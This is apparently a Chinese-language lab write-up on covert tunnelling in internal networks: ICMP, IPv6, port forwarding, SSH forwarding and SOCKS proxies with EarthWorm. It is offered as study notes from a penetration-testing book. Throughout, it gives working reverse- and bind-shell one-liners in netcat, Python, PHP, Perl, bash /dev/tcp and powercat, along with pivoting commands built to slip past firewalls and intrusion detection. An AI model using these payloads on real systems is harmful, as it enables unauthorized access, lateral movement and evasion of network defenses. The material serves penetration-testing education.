前言
前段时间读了读徐哥的《内网安全攻防》,并复现了部分知识点,写篇文章记录下学习内容。
何为隐藏通信隧道技术?
意义
当我们成功杀入内网并完成信息收集后,下一步要进行的就是判断内网的连通性(也就是各种各样的流量包能否出的去、进的来),隐藏通信隧道技术通常用于在访问受限的内网环境中完成内网之内、内网与公网之间安全、稳定的数据传输。
简介
在最简单的情况下,两台主机之间数据的交换建立在TCP/IP协议之上,也就是说知道了IP、建立了TCP连接,那么两台主机便可以进行数据传输。
但在大多数情况下,内网的环境存在多种边界设备以及入侵检测装置的限制,它们会对主机间或者内网与外网之间通信的流量进行检测,如果存在异常就会进行拦截,这无疑给内网渗透增加了难度,而隐藏通信隧道技术就是为了绕过各种边界设备的封锁,从而完成主机间或内网与外网之间的通信。
常见隧道
网络层:IPV6隧道、ICMP隧道
传输层:TCP隧道、UDP隧道、端口转发
应用层:SSH隧道、HTTP(S)隧道、DNS隧道
接下来将从三种隧道中各选几种进行试验
网络层
1.IPV6隧道
工具:6tunnel(kali自带)
目标机:winserver 2008
攻击机:kali
首先开启目标机上的IPV6(实战中这一步一般由渗透测试人员上传的软件开启)
查看目标机的IPV6地址
在攻击机中运行
sudo su
6tunnel -4 80 fe80::6090:bbdf:8c09:68d6%eth0 80
这条命令的含义就是将目标机的80端口(目标机使用IPV6地址)转发到本机的80端口上(本机使用IPV4地址)
转发成功后,访问本机80端口便可以访问到目标机上正在运行的web服务
2.ICMP隧道
在一般的情况下,如果两台主机要进行通信,必须要开放相应的端口,比如ssh-22端口,rdp-3389端口,但如果使用ICMP隧道,则不需要开放任何的端口,所以ICMP隧道十分简单、实用
在渗透测试中,如果防火墙对各种上层协议(HTTP.HTTPS,DNS等)的数据包进行了封锁,那么我们可以尝试一下网管常常漏掉的ICMP协议包,我们可以将TCP数据包封装到ICMP数据包中,如果防火墙不对ICMP包进行拦截,那么我们便可以实现对防火墙的突破
工具:icmpsh
下载地址:https://gitee.com/WeiyiGeek/icmpshell.git(github下载太慢,就换了个国内的)
安装python的impacket类库,以便于对各类协议进行访问
apt-get install python3-impacket
但是笔者这里的安装并不顺利,所以就采用了另一种安装方法:
直接从github上下载源码并运行地址:
python setup.py install
如此impacket便安装成功
由于icmpsh要代替系统本身的ping应答,所以要关闭一下系统的ping应答,否则工具将无法稳定运行
sysctl -w net.ipv4.icmp_echo_ignore_all=1
进入目录后运行
./run.sh
依次输入攻击机IP和受害机IP便会自动输出需要在受害机上运行的命令
在受害机运行
在攻击机上便可以见到回弹shell
工具:pingtunnel
本次测试网络拓扑图:
测试环境:攻击机可以访问web服务器,不能访问数据库服务器
web服务器只能通过ICMP协议访问数据库服务器
渗透目标:利用工具使攻击机可以访问数据库服务器的3389
首先要安装工具
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
如果报pcap.h缺失:
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
最后一步过程中又会报Neither flex nor lex was found的错误:
apt-get install flex bison
继续执行:
./configure
make
sudo make install
回到pingtunnel目录重新执行
make && make install
攻击机工具安装完成
接下来还要在web服务器上安装工具,安装过程类似不多赘述
在web服务器运行命令
ptunnel -x haixian
这条命令便是在web服务器上开启一个密码为haixian的icmp隧道
接下来在攻击机上执行
ptunnel -p 192.168.1.5 -lp 1080 -da 192.168.1.2 -dp 3389 -x haixian
这条命令的意思是,当访问攻击机的1080端口时,数据库服务器3389端口的数据便会以web服务器为中转,通过刚刚搭建好的以haixian为密码的ICMP隧道传送到攻击机的1080端口上
接下来访问本机的1080端口便可以连接到数据库服务器的远程桌面了(3389)
同理,我们可以连接数据库服务器的SSH(22端口)或者数据库服务(如果是mysql的话为3306端口),这里不再赘述
传输层
1.端口转发
工具:lcx
下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip
lcx是一个非常经典的端口转发工具,在linux或者windows中均可使用,lcx的原理就是搭建Socket隧道,一个正常的Socket隧道必须具备两端:客户端、服务端,服务端开启监听端口,客户端传入服务端的IP与端口,主动与服务端连接
在受害机上执行
lcx.exe -slave 192.168.1.4(攻击机IP) 4444 127.0.0.1 3389
这条命令的意思就是将本机的3389端口转发到攻击机的4444端口上
之后在攻击机上执行
./portmap -m 2 -p1 4444 -h2 192.168.1.4 -p2 5555
这条命令的意思就是将本地4444端口接收的数据转发到5555端口
在攻击机访问本机5555端口
可见成功访问受害机远程桌面(3389端口)
端口扫描
扫描80端口
nc -v 192.168.1.2 80
可以看到目标主机的80端口是开启的
获得shell
(1).正向shell
即攻击机主动去连接受害机,正向连接使用频率较少,因为这种shell很容易被各种边界设备所拦截
在受害机中执行
nc -lvp 4444 -e /bin/sh
这条命令的意思是把/bin/sh发送给请求本机4444端口的终端
在攻击机上执行
nc 192.168.1.5 444
去主动连接受害机的4444端口
在攻击机上使用ifconfig查看IP发现已经是受害机的IP
(2).反向shell
即受害及主动来连接攻击机,这种方法在渗透测试中更为常用,因为它可以突破许多边界设备的封锁
在攻击机上执行
nc -lvp 5555
开始监听本机5555端口
接下来在受害机中执行
nc 192.168.1.4 5555 -e /bin/sh
这条命令的意思就是去主动连接攻击机的5555端口并把/bin/sh传送给5555端口
可以看到在攻击机上已经收到了受害机的shell
但这个实验是建立在受害机已经安装netcat这个工具了,而实际情况下如果没有安装应该怎么办呢?
1.使用python反弹shell
执行如下命令,在攻击机上监听本地1234端口
在受害机中执行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",攻击机监听的端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
攻击机上收到回弹shell
但是这种方法又建立在受害及上存在python环境的情况下
如果受害机上没有python环境怎么办呢?
2.php反弹shell
如果没有python环境,但受害机上存在php环境,那么也可以利用php反弹shell
执行如下命令,在攻击机上监听本地2021端口
在受害机上执行
php -r '$sock=fsockopen("攻击机ip",攻击机监听的端口);exec("/bin/bash -i <&3 >&3 2>&3");'
可以看到在攻击机上以及收到了反弹shell
那如果在受害机上既没有python环境又没有php环境该怎么办呢?
3.perl反弹shell
如果目标机器上使用的是perl语言,那么我们还可以使用perl反弹shell
攻击机本地监听4321端口
nc -lvp 4321
受害机执行
perl -e 'use Socket;$i="攻击机ip";$p=攻击机监听端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
可以在攻击机上收到反弹shell
4.bash反弹shell
那么如果在受害机上以上三种语言环境都不存在怎么办呢?
执行如下命令,在攻击机上监听6666端口
nc -lvp 6666
在受害机中执行
bash -i >& /dev/tcp/192.168.1.4/6666 0>&1
将受害机上的输入与输出以TCP流的形式重定向到攻击机的6666端口
可以看到在攻击机上收到了受害机的反弹shell
5.内网代理实验
本次实验工具:web服务器(kali)、数据库服务器(win server 2008)、攻击机(kali)
实验条件:攻击机可以访问到web服务器,但访问不到数据库服务器,web服务器可以访问攻击机,也可以访问数据库服务器,攻击机无法直接访问数据库服务器,通过前期渗透已经取得了web服务器的权限
首先在攻击机上执行命令监听本机9999端口
nc -lvp 9999
然后在数据库服务器中执行
nc -lvp 9999 -e c:\windows\system32\cmd.exe
将本机的cmd.exe传送到请求9999端口的主机
最后在web服务器(跳板机)中执行
nc -v 192.168.1.4 9999 -c "nc -v 192.168.1.2 9999"
这条命令的意思就是web服务器先去连接攻击机,连上之后立刻去连接数据库服务器的9999端口,连接成功后把两个隧道合并为一条隧道(请自行脑补~)
可见在攻击机中收到了来自数据包库服务器的反弹shell
3.Powercat
工具下载地址:https://github.com/besimorhino/powercat
工具下载后需要导入powercat.ps1脚本后才可以正常使用powercat
执行
Import-Module .\powercat.ps1
导入脚本,有可能会报权限不够,需要修改权限
执行
Set-ExecutionPolicy RemoteSigned
然后就可以导入脚本了
如图所示,接下来就可以正常的使用powercat了
powercat部分参数介绍
-c 指定一个ip地址
-p 指定一个端口
-v 显示详情
-l 监听模式
-e 程序重定向
通过nc正向连接powercat
在win server 2008中执行
powercat -l -p 8888 -e cmd.exe -v
这条命令的意思是把cmd.exe数据包发送给请求本机8888端口的主机
在攻击机中执行
nc 192.168.1.2 8888 -vv
可以看到已经接收到了win server2008 的shell
使用nc反向连接powercat
在攻击机中执行
nc -l -p 5678 -vv
开启监听本机5678端口
接下来在win server2008执行
powercat -c 192.168.1.4 -p 5678 -v -e cmd.exe
主动去连接攻击机
可以看到在攻击机中收到了反弹shell
powercat之间互相连接反弹powershell
首先在win server 2008上执行
powercat -l -p 3333 -v
监听本机3333端口
接下来在WIN7上执行
powercat -c 192.168.1.2 -p 3333 -v -ep
可以看到在win server 2008上已经收到了来自WIN7的powershell
应用层
1.SSH
几乎所有的unix/linux主机都支持SSH协议,都可以通过SSH通信而在现实情况中,网管员经常会使用SSH连接来远程管理内网中的主机,所以一般情况下,边界设备并不会拦截SSH流量,加之SSH流量是加密的,一般的入侵检测工具很难检测出SSH流量的异常,所以渗透测试人员往往能通过SSH建立起一些其他隧道难以建立的TCP通信隧道
SSH常见参数
-C 压缩传输
-f 后台执行SSH
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH端口
(1).本地转发
本次实验网络拓扑图:
实验环境:攻击机无法访问数据库服务器,可以访问web服务器且已获得web服务器的权限,web服务器和数据库服务器可以互相访问
实验目标:通过本地端口转发,访问攻击机本地的2021端口便可以打开数据库服务器的远程桌面
首先在攻击机上执行
ssh -CfNg -L 2021:192.168.1.2:3389 root@192.168.1.5
这条命令的意思就是攻击机去连接web服务器,连上之后由web服务器去连接数据库服务器的3389端口并把数据通过SSH通道传给攻击机
会提示输入web服务器的密码,输入密码
由于我们选择的是静默模式,所以可以本地查看一下2021端口是否被监听来检查通道的建立是否正常
netstat -tulnp | grep "2021"
可以看到2021端口正在被ssh服务监听,证明通道搭建成功
接下来在攻击机访问把本地2021端口即可打开数据库服务器的远程桌面
rdesktop 127.0.0.1:2021
(2).远程转发
本次实验网络拓扑图:
实验环境:
攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机
实验目标:通过访问攻击机本机的7890端口来访问数据库服务器的3389端口
在web服务器上执行
ssh -CfNg -R 7890:192.168.1.2:3389 root@192.168.1.4
这条命令的意思是此时的web服务器虽然依旧是跳板,但是无论是连接数据库服务器的3389还是去连接攻击机的7890都是web服务器主动发起
输入攻击机的密码
在攻击机访问本地7890端口
rdesktop 127.0.0.1:7890
(3).动态转发
本次实验网络拓扑图:
在攻击机上执行
ssh -CfNg -D 6000 root@192.168.1.5
此条命令搭建了一个动态的SOCKS代理通道
输入web服务器密码后执行
netstat -tulnp | grep ":6000"
查看连接情况
连接成功
例:在本地浏览器设置好SOCKS代理后可以访问到数据库服务器上开放的web服务
2.HTTP/HTTPS隧道
这种隧道笔者已经在文章https://www.freebuf.com/articles/web/262820.html中已经讲解,这里不多赘述
3.SOCKS代理
SOCKS可以简单的把两个系统连接到一起,SOCKS支持多种协议,可以理解为升级版的lcx
常见工具:EarthWorm、SocksCap64、ProxyChains
(1).EW
工具下载地址:https://github.com/rootkiter/EarthWorm
正向代理
攻击机本地执行
ew -s ssocksd -l 888
这种连接方式是攻击机主动去找受害机,所以这里的受害机需要具有公网IP(攻击机可以直接去访问受害机)
反向代理
本次实验网络拓扑图:
首先在攻击机上执行
./ew_for_linux64 -s rssocks -l 1080 -e 1234
在本地添加转接隧道,将1080收到的数据转发给1234端口
在web服务器上执行
ew.exe -s rssocks -d 192.168.1.4 -e 1234
可在攻击机上收到回显
至此,socks代理隧道搭建成功,攻击机便可以通过此隧道访问受害机任意服务(服务开启)
二级网络环境试验1:
本次实验网络拓扑图:
实验环境
web服务器可以访问外网和数据库服务器,数据库服务器不能访问外网,只能访问内网资源
实验目标:通过访问攻击机本地端口访问架设在数据库服务器上的SOCKS隧道从而访问内网资源
首先在主机上执行
./ew_for_linux64 -s ssocksd -l 888
启动888端口的SOCKS代理
然后在web服务器中执行
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.1.4 -g 888
使web服务器去主动连接攻击机和数据库服务器
接下来就可以通过访问攻击机的1080端口去使用搭建好的SOCKS隧道了
二级网络环境试验2:
本次实验网络拓扑图:
实验环境:
A主机没有公网IP但可以访问公网,不可以访问内网,B主机可以访问内网,不能访问外网
实验目标:
通过访问攻击机上的10800端口来访问B主机上的SOCKS隧道,从而访问内网资源
首先在攻击机上执行
./ew_for_linux64 -s lcx_listen -l 10800 -e 888
添加转接隧道,将10800端口收到的代理请求转发到888端口
下面在B主机中执行
ew_for_Win.exe -s ssocksd -l 999
开启999端口的SOCKS代理
最后,在A主机中执行
./ew_for_linux64 -s lcx_slave -d 192.168.1.4 -e 888 -f 192.168.1.2 -g 999
利用slave方式,将攻击机的888端口与B主机的999端口连接
可以在攻击机上看到隧道搭建成功提示
接下来可以使用SocksCap64等代理工具对socks隧道进行利用,方法较为简单,这里不再赘述
写在后面
这篇文章比较长,感谢读到最后的你~
参考资料:
《内网安全攻防:渗透测试实战指南》徐焱、贾晓璐
https://blog.csdn.net/weixin_42652002/article/details/112070453